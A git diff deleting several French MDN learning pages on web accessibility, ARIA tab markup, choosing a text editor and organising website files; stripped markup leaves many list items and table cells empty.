Let's go through an example of our own. We'll return to our simple absolutely-positioned tabbed interface (see Hiding things in our CSS and JavaScript accessibility article), which you can find at Tabbed info box example (see source code).

- -

This example as-is works fine in terms of keyboard accessibility — you can happily tab between the different tabs and select them to show the tab contents. It is also fairly accessible too — you can scroll through the content and use the headings to navigate , even if you can't see what is happening on screen. It is however not that obvious what the content is — a screenreader currently reports the content as a list of links, and some content with three headings. It doesn't give you any idea of what the relationship is between the content. Giving the user more clues as to the structure of the content is always good.

- -

To improve things, we've created a new version of the example called aria-tabbed-info-box.html (see it running live). We've updated the structure of the tabbed interface like so:

- -
<ul role="tablist">
-  <li class="active" role="tab" aria-selected="true" aria-setsize="3" aria-posinset="1" tabindex="0">Tab 1</li>
-  <li role="tab" aria-selected="false" aria-setsize="3" aria-posinset="2" tabindex="0">Tab 2</li>
-  <li role="tab" aria-selected="false" aria-setsize="3" aria-posinset="3" tabindex="0">Tab 3</li>
-</ul>
-<div class="panels">
-  <article class="active-panel" role="tabpanel" aria-hidden="false">
-    ...
-  </article>
-  <article role="tabpanel" aria-hidden="true">
-    ...
-  </article>
-  <article role="tabpanel" aria-hidden="true">
-    ...
-  </article>
-</div>
- -
-

Note: The most striking change here is that we've removed the links that were originally present in the example, and just used the list items as the tabs — this was done because it makes things less confusing for screenreader users (the links don't really take you anywhere; they just change the view), and it allows the setsize/position in set features to work better — when these were put on the links, the browser kept reporting "1 of 1" all the time, not "1 of 3", "2 of 3", etc.

-
- -

The new features are as follows:

- - - -

In our tests, this new structure did serve to improve things overall. The tabs are now recognised as tabs (e.g. "tab" is spoken by the screenreader), the selected tab is indicated by "selected" being read out with the tab name, and the screenreader also tells you which tab number you are currently on. In addition, because of the aria-hidden settings (only the non-hidden tab ever has aria-hidden="false" set), the non-hidden content is the only one you can navigate down to, meaning the selected content is easier to find.

- -
-

Note: If there is anything you explicitly don't want screen readers to read out, you can give them the aria-hidden="true"  attribute.

-
- -

Summary

- -

This article has by no means covered all that's available in WAI-ARIA, but it should have given you enough information to understand how to use it, and know some of the most common patterns you will encounter that require it.

- -

See also

- - - -

{{PreviousMenuNext("Learn/Accessibility/CSS_and_JavaScript","Learn/Accessibility/Multimedia", "Learn/Accessibility")}}

- -

In this module

- - diff --git a/files/fr/apprendre/a11y/what_is_accessibility/index.html b/files/fr/apprendre/a11y/what_is_accessibility/index.html deleted file mode 100644 index 047e2763a1..0000000000 --- a/files/fr/apprendre/a11y/what_is_accessibility/index.html +++ /dev/null @@ -1,198 +0,0 @@ ---- -title: Qu'est ce que l'accessibilité? -slug: Apprendre/a11y/What_is_accessibility -tags: - - Accessibilité - - Aide technique - - Apprendre - - Article - - CSS - - Clavier - - Débutant - - HTML - - JavaScript - - Lecteur d'écran - - Outils - - Utilisateurs -translation_of: Learn/Accessibility/What_is_accessibility ---- -
{{LearnSidebar}}
- -
{{NextMenu("Learn/Accessibility/HTML", "Learn/Accessibility")}}
- -

Cet article présente un module général sur ce que l'accessibilité est actuellement — Cela comprend les groupes de personnes que l'on a besoin de considérer et pourquoi, quels outils ils utilisent afin d'intéragir avec les pages web et comment rendre accessible la partie de notre espace de travail web.

- - - - - - - - - - - - -
Prérequis:Compétences de base en informatique, une compréhension basique de l'HTML et du CSS.
Objectif:Se familiariser avec l'accessibilité en découvrant ce que c'est et en quoi cela vous affecte en tant que développeur.
- -

Qu'est-ce donc que l'accessibilité?

- -

L'accessibilité est la mise à disposition de vos sites web au plus grand nombre. On pense souvent que cela s'adresse aux personnes ayant un handicap, mais cela concerne également d'autres groupes comme ceux utilisant des appareils mobiles ou ceux qui ont des connexions internet de faible débit.

- -

On peut aussi dire que l'accessibilité c'est traiter tout le monde de la même manière, et donner les mêmes opportunités à tous, peu importe leur handicaps ou les circonstances. De la même manière qu'il est injuste d'empêcher une personne d'accéder à un bâtiment parce qu'elle est en fauteuil roulant (les lieux publics sont souvent équipés de rampes d'accès ou d'ascenseur de nos jours), il est également injuste d'empêcher une personne d'accéder à un site web parce qu'elle a des troubles de la vue, ou qu'elle utilise un téléphone portable. Nous sommes tous différents, mais nous sommes aussi tous humains, ce qui nous donne les mêmes droits.

- -

Rendre son site accessible est la bonne chose à faire, mais c'est aussi demandé par la loi de certains pays, et cela peut vous ouvrir des marchés conséquents pour qui vos services et vos produits ne seraient sinon pas accessibles.

- -

L'accessibilité et les bonnes pratiques qu'elle implique peuvent bénéficier à tous :

- - - -

Quel genre de handicap devons nous envisager ?

- -

Les personnes ayant un handicap sont aussi variées que les personnes sans handicap, tout comme leurs handicaps. L'important ici est de ne pas penser seulement à votre propre ordinateur et à comment vous utilisez le web, mais de commencer à apprendre comment les autres l'utilisent — vous n'êtes pas vos utilisateurs. Les principaux types de handicap à considérer sont expliqués ci-dessous, avec les outils spéciaux que chacun utilise pour accéder aux contenus du web (connus sous le nom de technologies d'assistance).

- -
-

Note : L'aide-mémoire Handicap et santé de l'Organisation Mondiale de la Santé indique que « Plus d’un milliard de personnes, c’est-à-dire environ 15% de la population mondiale, présentent une forme ou une autre de handicap » , et que « Entre 110 et 190 millions de personnes adultes ont des difficultés importantes sur le plan fonctionnel. »

-
- -

Les personnes ayant des troubles de la vue

- -

Cette catégorie comprend les personnes aveugles, malvoyantes, daltoniennes, etc. Beaucoup d'entre eux utilisent des agrandisseurs d'écran (soit de vraies loupes, soit la fonction loupe implémentée dans la plupart des systèmes d'exploitation et navigateurs), et certains utilisent des lecteurs d'écran qui lisent le texte à voix haute:

- - - -

Il est conseillé de se familiariser avec les lecteurs d'écran ; vous devriez installer un lecteur d'écran et expérimenter avec pour comprendre comment il marche. Lisez notre Guide pour tester les lecteurs d'écrans sur différents navigateurs (en) pour avoir plus d'information sur leur utilisation. La vidéo ci-dessous (en anglais) vous donne un bref aperçu de l'experience.

- -

{{EmbedYouTube("IK97XMibEws")}}

- -

Pour ce qui est des statistiques, l'Organisation mondiale de la santé estime que «253 millions de personnes présentent une déficience visuelle : 36 millions d’entre elles sont aveugles et 217 millions présentent une déficience visuelle modérée à sévère. » (Voir Cécité et déficience visuelle). Cela représente une part conséquente des utilisateurs que vous perdriez parce que votre site est mal codé — presque autant que la population des États-Unis.

- -

Les personnes ayant des troubles de l'audition

- -

Aussi connues comme les personnes malentendantes ou sourdes, ce groupe correspond aux personnes qui ont perdu, partiellement ou totalement, la perception des sons. Les sourds et malentendants utilisent des technologies d'assistance (voir Aides techniques pour les personnes ayant des troubles de l'audition, de la voix, de la parole ou du langage (en) ), mais il n'existe pas de technologies spécifiques pour l'utilisation du Web et des ordinateurs.

- -

Il existe cependant des techniques auxquelles il faut penser pour proposer des alternatives aux fichiers audios : de la simple transcription textuelle aux sous-titres qui peuvent être affichés en même temps que la vidéo. Un article décrira plus tard ces méthodes.

- -

Les sourds et malentendants représentent également une part significative des utilisateurs — «360 millions de personnes dans le monde souffrent de déficience auditive incapacitante», indique l'aide-mémoire Surdité et déficience auditive de l'Organisation Mondiale de la Santé.

- -

Les personnes ayant des troubles de la mobilité

- -

Ces personnes ont un handicap ayant rapport au mouvement, qui peuvent comprendre des problèmes purement physique (comme la perte d'un membre ou la paralysie), ou des troubles psychologiques ou génétiques qui mènent à des faiblesse voire à une perte du contrôle des membres. Certains ont des difficultés à exécuter les mouvements précis de la main nécessaires à l'utilisation d'une souris, tandis que d'autres peuvent être plus sérieusement atteints, voire même être paralysés au point d'avoir à utiliser un pointeur frontal pour utiliser un ordinateur.

- -

Ce genre de handicap peut aussi venir avec l'âge, et non d'un accident ou d'une pathologie particulière, ou encore être la conséquence de limitations matérielles — certains utilisateurs peuvent ne pas avoir de souris.

- -

En général, cela se traduit au niveau du développement web par la nécessité de rendre les contrôles accessible au clavier — nous discuterons de l'accessibilité au clavier plus tard dans d'autres articles du module, mais cela peut être une bonne idée d'essayer de naviguer sur certains sites en utilisant seulement le clavier. Par exemple, pouvez vous naviguer entre les différents champs d'un formulaire juste avec la touche Tab ? Vous trouverez plus de détails à propos de l'utilisation du clavier dans la section Test d'accessibilité avec le clavier intégré entre différents navigateurs(en).

- -

De nombreuses personnes souffrent de troubles de la mobilité. Par exemple, en France, 4% des personnes vivant en ménage ordinaire déclarent avoir des difficultés à se servir des mains et doigts, d'après la vue d'ensemble L'approche du handicap par les limitations fonctionnelles et la restriction globale d'activité chez les adultes de 20 à 59 ans de l'INSEE.

- -

Personnes ayant des déficiences cognitives

- -

La dernière catégorie d'incapacités est probablement la plus large. Les déficiences cognitives désignent généralement des incapacités allant des maladies mentales aux difficultés d'apprentissage, aux difficultés de compréhension et de concentration telles que  TDAH-trouble d'hyperactivité avec déficit de l'attention, TSA-trouble du spectre de l’autisme,  aux personnes atteintes de schizophrénie, et à de nombreux autres types de désordres, qui peuvent affecter de nombreux aspects de la vie quotidienne en raison de problèmes de mémoire, de résolution de problèmes, de compréhension, d'attention, etc. 

- -

Le plus souvent, ces incapacités peuvent affecter l'utilisation du site web : difficulté à comprendre comment effectuer une tâche, à se rappeler comment effectuer une tâche déjà accomplie ou à une frustration accrue en cas de confusion dans les flux de travail ou d'incohérences dans la présentation / navigation / autre page.

- -

Contrairement à d’autres problèmes d’accessibilité web, il est impossible de prescrire des solutions rapides à de nombreux problèmes d’accessibilité web résultant de déficiences cognitives ; la meilleure chance que vous ayez est de concevoir vos sites web de manière à être aussi logiques, cohérents et utilisables que possible. Par exemple, assurez-vous que :

- - - -

Ce ne sont pas des "techniques d'accessibilité" en tant que telles, ce sont de bonnes pratiques de conception. Elles profiteront à tous ceux qui utilisent vos sites et devraient faire partie intégrante de votre travail.

- -

En termes de statistiques, encore une fois, les chiffres sont importants. Le  rapport 2014 sur le statut d'invalidité (PDF, 511KB) de l'Université de Cornell indique qu'en 2014, 4,5% des Américains âgés de 21 à 64 ans présentaient une forme de déficience cognitive .

- -
-

Note :  La page cognitives de apprendreaeduquer fournit une extension utile de ces idées et mérite certainement d'être lue. 

-
- -

Implémentation de l'accessibilité dans votre projet

- -

Un mythe commun en matière d'accessibilité est que l'accessibilité est un "supplément" coûteux à mettre en œuvre sur un projet. Ce mythe peut en réalité être vrai si :

- - - -

Cependant, si vous envisagez l'accessibilité dès le début d'un projet, le coût de la plupart des contenus accessibles devrait être assez minime.

- -

Lors de la planification de votre projet, tenez compte des tests d'accessibilité dans votre programme de tests, comme pour tout autre segment d'audience cible important (par exemple, les navigateurs de bureau ou mobiles cibles). Testez tôt et souvent, en exécutant idéalement des tests automatisés pour détecter les fonctionnalités manquantes détectables par programme (telles que les images manquantes  alternative text  ou le texte du lien incorrect — voir Element relationships and context), et en effectuant des tests avec des groupes d'utilisateurs désactivés pour voir comment. des fonctionnalités de site plus complexes fonctionnent pour eux, par exemple:

- - - -

Vous pouvez et devez garder une note sur les problèmes potentiels de votre contenu qui devront être redessinés pour le rendre accessible, assurez-vous qu'il a été testé minutieusement et réfléchissez aux solutions / alternatives. Le contenu textuel (comme vous le verrez dans le prochain article) est simple, mais qu'en est-il de votre contenu multimédia et de vos graphismes 3D fantastiques ? Vous devriez examiner le budget de votre projet et réfléchir de manière réaliste aux solutions disponibles pour rendre ce contenu accessible ? Vous pourriez avoir à payer pour que tout votre contenu multimédia soit transcrit, ce qui peut être coûteux, mais réalisable.

- -

Aussi, soyez réaliste. "100% d'accessibilité" est un idéal impossible à obtenir — vous rencontrerez toujours un type de problème qui oblige un utilisateur à trouver certains contenus difficiles à utiliser — mais vous devez en faire autant que vous le pouvez. Si vous envisagez d'inclure un graphique à secteurs 3D ultra-graphique créé à l'aide de WebGL, vous pouvez inclure un tableau de données en tant que représentation alternative accessible des données. Vous pouvez également simplement inclure la table et supprimer le graphique à secteurs 3D : la table est accessible à tous, plus rapide à coder, moins gourmande en temps processeur et plus facile à gérer. 

- -

D'autre part, si vous travaillez sur un site web de galerie présentant des œuvres d'art 3D intéressantes, il serait déraisonnable de s'attendre à ce que chaque œuvre d'art soit parfaitement accessible aux personnes malvoyantes, étant donné qu'il s'agit d'un support entièrement visuel.

- -

Pour montrer que vous vous souciez de l'accessibilité et que vous en avez pensé, publiez sur votre site une déclaration d'accessibilité détaillant votre politique en matière d'accessibilité et les mesures que vous avez prises pour rendre le site accessible. Si quelqu'un se plaint de ce que votre site a un problème d'accessibilité, commencez un dialogue avec elle, faites preuve d'empathie et prenez les mesures qui s'imposent pour tenter de résoudre le problème.

- -
-

Note :  Notre article  Gérer les problèmes courants d'accessibilité couvre les spécificités d'accessibilité qui doivent être testées plus en détail.

-
- -

Résumer :

- - - -

Directives d'accessibilité et loi

- -

Il existe de nombreuses listes de contrôle et ensembles de directives disponibles sur lesquels baser les tests d'accessibilité, ce qui peut sembler fastidieux à première vue. Notre conseil est de vous familiariser avec les domaines fondamentaux dans lesquels vous devez prendre soin, ainsi que de comprendre les structures de haut niveau des directives qui vous sont le plus utiles.

- - - -

Ainsi, alors que le WCAG est un ensemble de directives, votre pays aura probablement des lois régissant l’accessibilité du Web, ou du moins l’accessibilité des services accessibles au public (sites web, télévision, espaces physiques, etc.). C’est une bonne idée. pour savoir quelles sont vos lois. Si vous ne faites aucun effort pour vérifier que votre contenu est accessible, vous pourriez éventuellement avoir des ennuis avec la loi si les personnes handicapées s'en plaignent.

- -

Cela semble sérieux, mais vous devez vraiment considérer l'accessibilité comme une priorité principale de vos pratiques de développement web, comme indiqué ci-dessus. En cas de doute, demandez conseil à un avocat qualifié. Nous n'allons pas donner plus de conseils que cela, car nous ne sommes pas des avocats.

- -

API d'accessibilité

- -

Les navigateurs web utilisent des API d’accessibilité spéciales (fournies par le système d’exploitation sous-jacent) qui présentent des informations utiles pour les technologies d’aide (TA) — les TA ont généralement tendance à utiliser des informations sémantiques. Ces informations ne comprennent donc pas les informations de style, ou JavaScript. Ces informations sont structurées dans une arborescence d'informations appelée arborescence d'accessibilité.

- -

Différents systèmes d'exploitation ont différentes API d'accessibilité disponibles :

- - - -

Lorsque les informations sémantiques natives fournies par les éléments HTML dans vos applications Web tombent, vous pouvez les compléter avec des fonctionnalités de la  WAI-ARIA specification,  qui ajoutent des informations sémantiques à l’arbre d’accessibilité pour améliorer l’accessibilité. Vous pouvez en apprendre beaucoup plus sur WAI-ARIA dans notre article sur les bases de WAI-ARIA basics.

- -
-

Résumé

-
- -

Cet article aurait dû vous donner une vue d'ensemble utile de haut niveau de l'accessibilité, vous expliquer pourquoi c'est important et voir comment vous pouvez l'intégrer à votre flux de travail. Vous devriez maintenant aussi avoir soif d'apprendre les détails de la mise en œuvre susceptibles de rendre des sites accessibles. Nous commencerons dans cette question dans la section suivante, en nous demandant pourquoi le HTML constitue une bonne base d'accessibilité.

- -

{{NextMenu("Learn/Accessibility/HTML", "Learn/Accessibility")}}

diff --git "a/files/fr/apprendre/accessibilit\303\251/index.html" "b/files/fr/apprendre/accessibilit\303\251/index.html" deleted file mode 100644 index 403b3ff2fe..0000000000 --- "a/files/fr/apprendre/accessibilit\303\251/index.html" +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: Qu'est-ce que l'accessibilité ? -slug: Apprendre/Accessibilité -tags: - - Accessibility - - Beginner - - Intro - - NeedsActiveLearning - - Web -translation_of: Learn/Common_questions/What_is_accessibility ---- -
-

Cet article aborde les concepts de base qui forment l'accessibilité pour le Web.

-
- - - - - - - - - - - - -
Prérequis :Aucun.
Objectifs :Comprendre ce qu'est l'accessibilité et pourquoi elle est importante.
- -

Que ce soit en raison de limitations physiques ou techniques, il peut arriver que les visiteurs de votre site web ne peuvent l'utiliser comme vous le pensiez. Dans cet article, vous trouverez quelques principes généraux à propos de l'accessibilité, ainsi que quelques règles que nous expliquerons.

- -

Pédagogie active

- -

Il n'y a, pour le moment, pas de matériau pour la pédagogie active. Cependant, vous pouvez contribuer.

- -

Aller plus loin

- -

Principes généraux de l'accessibilité

- -

En premier lieu, on associe parfois l'accessibilité avec des limitations péjoratives. Ce bâtiment doit être accessible et doit donc respecter ces règlements pour les largeurs de portes, la taille des toilettes, l'emplacement de l'ascenseur.

- -

Cette approche est plutôt limitée. Dans tous les cas, l'accessibilité permet d'atteindre plus de personnes, éventuellement de servir plus de clients. Comment font les Brésiliens pour utiliser un site uniquement en anglais ou français ? Est-ce que les personnes qui possèdent des smartphones peuvent naviguer sur des sites encombrés, conçus pour être affichés uniquement sur de grands écrans et avec une bande passante important ? Ces personnes passeront leur chemin. De façon général, nous devons penser nos produits et nos créations avec le point de vue de l'ensemble du public ou des clients et nous devons nous adapter par rapport à ce point de vue, d'où la raison d'être de l'accessibilité.

- -

L'accessibilité sur le Web

- -

Dans le cadre spécifique qu'est le Web, l'accessibilité signifie que n'importe qui peut accéder au contenu que vous publiez en ligne, quel que soit la situation de handicap, l'emplacement géographique, les limitations techniques ou autres.

- -

Prenons l'exemple de la vidéo :

- -
-
Déficience auditive
-
Comment une personne déficiente auditivement peut-elle profiter de la vidéo ? Il est nécessaire de fournir des sous-titres, voire mieux, une transcription écrite complète.
-
Assurez-vous également que les personnes puissent ajuster le volume à leur convenance.
-
Déficience visuelle
-
Ici aussi, il est préférable de fournir une transcription que l'utilisateur pourra consulter sans lancer la vidéo, ainsi qu'une audio-description décrivant, en voix off, ce qui se passe dans la vidéo.
-
Mise en pause
-
Certains utilisateurs peuvent avoir du mal à comprendre ce qui est dit par quelqu'un dans la vidéo. La fonctionnalité de mise en pause peut leur permettre de lire les sous-titres ou de comprendre l'information.
-
Utilisation du clavier
-
Laissez à l'utilisateur la possibilité de lancer la vidéo mais aussi de la mettre en pause grâce à des touches du clavier.
-
- -

Les bases de l'accessibilité web

- -

Afin qu'un page web soit un minimum accessible, il faut :

- - - -

Ces règles ne forment qu'un minimum nécessaire pour l'accessibilité.

- -

Les défendeurs de l'accessibilité

- -

Depuis 1999, le {{Glossary("W3C")}} possède un groupe de travail appelé {{Glossary("WAI","Web Accessibility Initiative")}} (WAI ou Initiative pour l'Accessibilité du Web en français) qui promeut l'accessibilité grâce à des recommandations, des ressources d'aide et des matériaux internationaux sur l'accessibilité.

- -

Plus de détails

- -

Vous pouvez vous référer à :

- - - -

Prochaines étapes

- -

L'accessibilité peut avoir un impact tant sur le design d'un site que sur sa structure technique.

- - diff --git "a/files/fr/apprendre/choisir_installer_param\303\251trer_un_\303\251diteur_de_texte/index.html" "b/files/fr/apprendre/choisir_installer_param\303\251trer_un_\303\251diteur_de_texte/index.html" deleted file mode 100644 index d2dd87360c..0000000000 --- "a/files/fr/apprendre/choisir_installer_param\303\251trer_un_\303\251diteur_de_texte/index.html" +++ /dev/null @@ -1,292 +0,0 @@ ---- -title: 'Choisir, installer et paramétrer un éditeur de texte' -slug: Apprendre/Choisir_installer_paramétrer_un_éditeur_de_texte -tags: - - Beginner - - Composing - - Guide - - NeedsActiveLearning - - Tools -translation_of: Learn/Common_questions/Available_text_editors ---- -
{{IncludeSubnav("/fr/Apprendre")}}
-
-

Dans cet article, nous présentons les éléments principaux à connaître pour installer un éditeur de texte utilisé pour du développement web.

-
- - - - - - - - - - - - -
Prérequis :Vous devriez déjà connaître les différents logiciels nécessaires pour construire un site web.
Objectif :Apprendre comment choisir un éditeur de texte qui répondra à vos besoins en tant que développeur web.
- -

Un site web est, pour une grande partie, composé de fichiers texte. Pour cette raison, afin de développer dans les meilleures conditions, vous devriez choisir votre éditeur de texte soigneusement.

- -

La quantité d'éditeurs de texte existants peut être un peu écrasante. Il en existe beaucoup car c'est un outil de base en informatique (et oui, le développement web est un des domaines de l'informatique). En général, vous pouvez utiliser autant d'éditeurs de texte que vous voulez pour voir lequel vous convient le mieux en termes d'ergonomie et de méthode de travail. Pour vous aider, voici quelques pistes.

- -

Voici quelques questions qui peuvent vous aider à choisir :

- - - -

Nous n'avons pas évoqué le prix. Bien entendu, cela a également son importance. Cependant, il faut garder à l'esprit qu'il n'y a pas nécessairement de lien entre le coût d'un outil et la richesse de ses fonctionnalités. Un éditeur de texte étant un outil de base pour le développement, il est très probable que vous trouviez un éditeur de texte gratuit qui réponde tout à fait à vos besoins.

- -
-

Note : Le développement web est un domaine principalement anglophone, vous trouverez de nombreuses documentations également en français mais soyez conscient-es que la plupart des informations autour de certains logiciels seront en anglais sur le Web.

-
- -

Voici un tableau de quelques éditeurs de texte connus :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ÉditeurLicencePrixSystème d'exploitationSupportDocumentationExtensible
AtomMIT/BSDGratuitWindows, Mac, LinuxForumManuel en ligneOui
BracketsMIT/BSDGratuitWindows, Mac, LinuxForum, IRCWiki GitHubOui
CodaPropriétaire99 $MacTwitter, Forum, e-maileBookOui
EmacsGPL 3GratuitWindows, Mac, LinuxFAQ, liste de diffusion (anglophone), News GroupManuel en ligne / Tutoriel en français depuis l'éditeur / pages sur Ubuntu-frOui
EspressoPropriétaire75 $MacFAQ, e-mailPas de documentation utilisateur mais il existe une documentation pour les extensions (plug-ins)Oui
GeditGPLGratuitWindows, Mac, LinuxListe de diffusion (anglophone), IRCManuel en ligne (en français) / Introduction sur Ubuntu-frOui
Komodo EditMPLGratuitWindows, Mac, LinuxForumManuel en ligneOui
Notepad++GPL modifiéeGratuitWindowsForumWikiOui
PSPadPropriétaireGratuitWindowsFAQ, ForumAide en ligneYes
Sublime TextPropriétaire$70Windows, Mac, LinuxForumDocumentation officielle, documentation officieuseOui
TextMatePropriétaire$50MacTwitter, IRC, liste de diffusion (anglophone), E-mailManuel en ligne, WikiOui
TextWranglerPropriétaireGratuitMacFAQ, ForumManuel PDFNon
VimLicence ouverte spécifiqueGratuitWindows, Mac, LinuxListe de diffusion (anglophone), tuppervim (communauté francophone)Manuel en ligne, tutoriel en français disponible depuis l'éditeur, introduction sur Ubuntu-fr (en français)Oui
- -

Pédagogie active

- -

Il n'y a, pour le moment, pas de matériau pour la pédagogie active. Cependant, vous pouvez contribuer.

- -

Aller plus loin

- -

Critères de choix

- -

Rentrons dans les détails, à quoi faut-il penser lorsqu'on choisit un éditeur de texte ?

- -

Quel est le système d'exploitation que j'utiliser pour travailler ?

- -

Bien entendu, vous êtes entièrement libre de choisir le système d'exploitation que vous utilisez. Cependant, certains éditeurs ne sont disponibles que pour certains systèmes d'exploitation. Aussi, si vous souhaitez passer facilement d'un système d'exploitation à un autre, cela réduit le choix. N'importe quel éditeur de texte permettra de faire ce qui est nécessaire s'il fonctionne sur votre système, malgré cela, un éditeur multi-plateforme facilitera le passage d'un système d'exploitation à un autre.

- -

Il faut donc tout d'abord déterminer le système d'exploitation que vous utilisez puis vérifier si l'éditeur de texte est supporté sur ce système. La plupart des éditeurs affichent sur leur site web s'ils fonctionnent sur Windows ou Mac ou Linux. Attention, certains éditeurs ne fonctionnent que sur certaines versions de systèmes d'exploitation. Si vous utilisez Ubuntu, préférez passer par la Logithèque Ubuntu. Par ailleurs, le monde Linux/UNIX est un environnement assez varié et chaque distribution fonctionne à sa façon, éventuellement avec un système de paquets qui peut être incompatible avec d'autres distributions. Dans ce cas, si vous souhaitez à tout prix utiliser un éditeur de texte d'une autre distribution, vous pourriez avoir à le recompiler depuis le code source (déconseillé aux âmes sensibles).

- -

Quelles sont les technologies que je serai amené-e à manipuler ?

- -

De façon générale, n'importe quel éditeur de texte peut ouvrir n'importe quel fichier texte. Cela fonctionne parfaitement pour prendre des notes toutes simples. En revanche, pour le développement web et la manipulation de fichiers {{Glossary("HTML")}}, {{Glossary("CSS")}}, et {{Glossary("JavaScript")}}, on peut être amené à manipuler des fichiers beaucoup plus grands et complexes. Simplifiez-vous la vie en choisissant un éditeur de texte qui s'adapte aux technologies que vous utilisez. De nombreux éditeurs de texte pourront vous aider avec des fonctionnalités comme :

- - - -

La plupart des éditeurs de texte supporte désormais la coloration du code. Ce n'est pas toujours vrai pour les deux autres fonctionnalités. Pour le développement web, assurez-vous que votre éditeur de texte supporte la coloration syntaxique du code pour {{Glossary("HTML")}}, {{Glossary("CSS")}}, et {{Glossary("JavaScript")}}.

- -

Quelles sont les fonctionnalités de base dont j'ai besoin ?

- -

Cela dépendra avant tout de vos besoins et de ce que vous prévoyez de faire. Généralement, ces fonctionnalités s'avèrent plutôt utiles :

- - - -

Est-ce que je souhaite ajouter des fonctionnalités supplémentaires à mon éditeur de texte ?

- -

Un éditeur de texte peut avoir peu de fonctionnalités de base mais être extensible pour s'adapter à vos besoins.

- -

Si vous n'êtes pas certain-e des fonctionnalités dont vous avez besoin ou que votre éditeur préféré ne possède pas, de base, les fonctionnalités que vous recherchez, vous pouvez choisir un éditeur extensible. Les meilleurs éditeurs fournissent de nombreuses extensions (plugins) et d'outils pour installer ces plugins automatiquement. Ces extensions vous permettront d'ajouter de nouvelles fonctionnalités à votre éditeur.

- -

Si vous appréciez avoir de nombreuses fonctionnalités et que tout ces plugins ralentissent votre éditeur, vous pouvez utiliser un environnement de développement intégré (ou IDE pour Integrated Development Environment en anglais). Un IDE fournit de nombreux outils au travers d'une même interface. Cela peut paraître un peu intimidant pour les débutants mais cela peut aussi être un bon choix si votre éditeur de texte vous semble trop limité pour vos besoins. Les IDE les plus connus sont :

- - - -

Ai-je besoin d'aide ou d'un support pour utiliser mon éditeur de texte ?

- -

Il est toujours bon de savoir s'il est possible d'avoir de l'aide lorsqu'on utilise un logiciel. En ce qui concerne les éditeurs de texte, ces deux points seront relativement importants :

- -
    -
  1. Est-ce qu'il existe des documents à destination des utilisateurs ? (FAQ, manuel, aide en ligne)
    2. -
  2. Existe-t-il des ressources pour discuter avec les développeurs ou d'autres utilisateurs ? (forum, e-mail, IRC)
    3. -
- -

N'hésitez pas à utiliser la documentation écrite disponible lorsque vous démarrez avec un éditeur. Vous pouvez également échanger avec les autres utilisateurs sur des forums ou listes de diffusion pour diagnostiquer les éventuels problèmes que vous rencontrez lors de l'installation ou de l'utilisation de l'éditeur.

- -

Est-ce que l'apparence de mon éditeur est importante ?

- -

Cela dépend de vos goûts. Certaines personnes apprécient pouvoir personnaliser tous les éléments de l'interface utilisateur, certains préfèrent une interface épurée avec peu de boutons, voire n'interagir qu'avec le clavier. Les éditeurs sont tous différents et vérifiez dès le début si votre éditeur se personnalise à votre convenance. Vous trouverez sans difficulté un éditeur dont vous pouvez changer le thème et les couleurs mais il sera préférable d'utiliser un IDE pour le personnaliser sous tous les angles.

- -

Installation et paramétrage

- -

L'installation d'un éditeur de texte est généralement simple. La méthode varie en fonction du système d'exploitation ou de la plateforme que vous utilisez mais dans tous les cas, cela ne devrait pas être trop complexe :

- - - -

Lorsque vous installez un nouvel éditeur de texte, il est probable que votre système d'exploitation continue à ouvrir les fichiers texte avec l'éditeur par défaut pour chaque format si vous ne changez pas les associations de fichiers. Ces instructions vous aideront à modifier les associations sur chaque système d'exploitation. De cette façon, vous pourrez ouvrir les fichiers dans votre éditeur de texte favori en double-cliquant sur les fichiers :

- - - -

Prochaines étapes

- -

Maintenant que vous avez un bon éditeur de texte, vous pouvez prendre le temps de finaliser votre environnement de travail ou vous pouvez aussi démarrer tout de suite et écrire votre première page web.

diff --git "a/files/fr/apprendre/commencer_avec_le_web/g\303\251rer_les_fichiers/index.html" "b/files/fr/apprendre/commencer_avec_le_web/g\303\251rer_les_fichiers/index.html" deleted file mode 100644 index b2dc72e8de..0000000000 --- "a/files/fr/apprendre/commencer_avec_le_web/g\303\251rer_les_fichiers/index.html" +++ /dev/null @@ -1,113 +0,0 @@ ---- -title: Gérer les fichiers -slug: Apprendre/Commencer_avec_le_web/Gérer_les_fichiers -tags: - - Création site - - Débutant - - Fichiers - - Guide - - HTML - - Site Web - - Theorie -translation_of: Learn/Getting_started_with_the_web/Dealing_with_files ---- -
{{LearnSidebar}}
-{{PreviousMenuNext("Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site", "Apprendre/Commencer_avec_le_web/Les_bases_HTML","Apprendre/Commencer_avec_le_web")}}
- -
-

Un site web est composé de nombreux fichiers : contenu textuel, code, feuilles de styles, contenus média, etc. Lors de la construction d'un site web, ces fichiers doivent être organisés et rangés sur votre ordinateur afin qu'ils puissent interagir les uns avec les autres et que le contenu s'affiche correctement. Une fois que c'est fait, vous pourrez alors téléverser ces fichiers sur un serveur. Gérer les fichiers aborde certains problèmes auxquels vous devez faire attention pour mettre en place une organisation judicieuse des fichiers de votre site web.

-
- -

Où placer votre site web sur votre ordinateur ?

- -

Lorsque vous travaillez sur votre site web sur votre propre ordinateur, tous les fichiers liés au site devraient être présents dans un dossier dont le contenu reflète la structure des fichiers sur le serveur. Ce dossier peut être n'importe où sur votre ordinateur, l'idéal étant qu'il soit simple à retrouver, par exemple sur votre Bureau ou dans votre dossier personnel, voire à la racine du disque dur.

- -
    -
  1. Sélectionnez un endroit où stocker vos projets de sites web. Là, créez un nouveau dossier appelé projets-web (ou similaire). C'est l'endroit où vivront vos divers projets de sites web.
    2. -
  2. À l'intérieur de ce premier dossier, créez un autre dossier pour y enregistrer votre premier site web. Vous pouvez l'appeler site-test (ou plus imaginatif).
    3. -
- -

Un rapide aparté sur la casse et l'espacement

- -

Vous remarquerez tout au long de cet article que nous vous demandons de nommer les dossiers et les fichiers totalement en minuscules et sans espace. Voici la raison :

- -
    -
  1. Nombre d'ordinateurs, notamment des serveurs web, sont sensibles à la casse. Par exemple, si vous placez une image pour votre site à l'emplacement site-test/MonImage.jpg et que, dans un autre fichier, vous faites référence à site-test/monimage.jpg, cela peut ne pas fonctionner.
    2. -
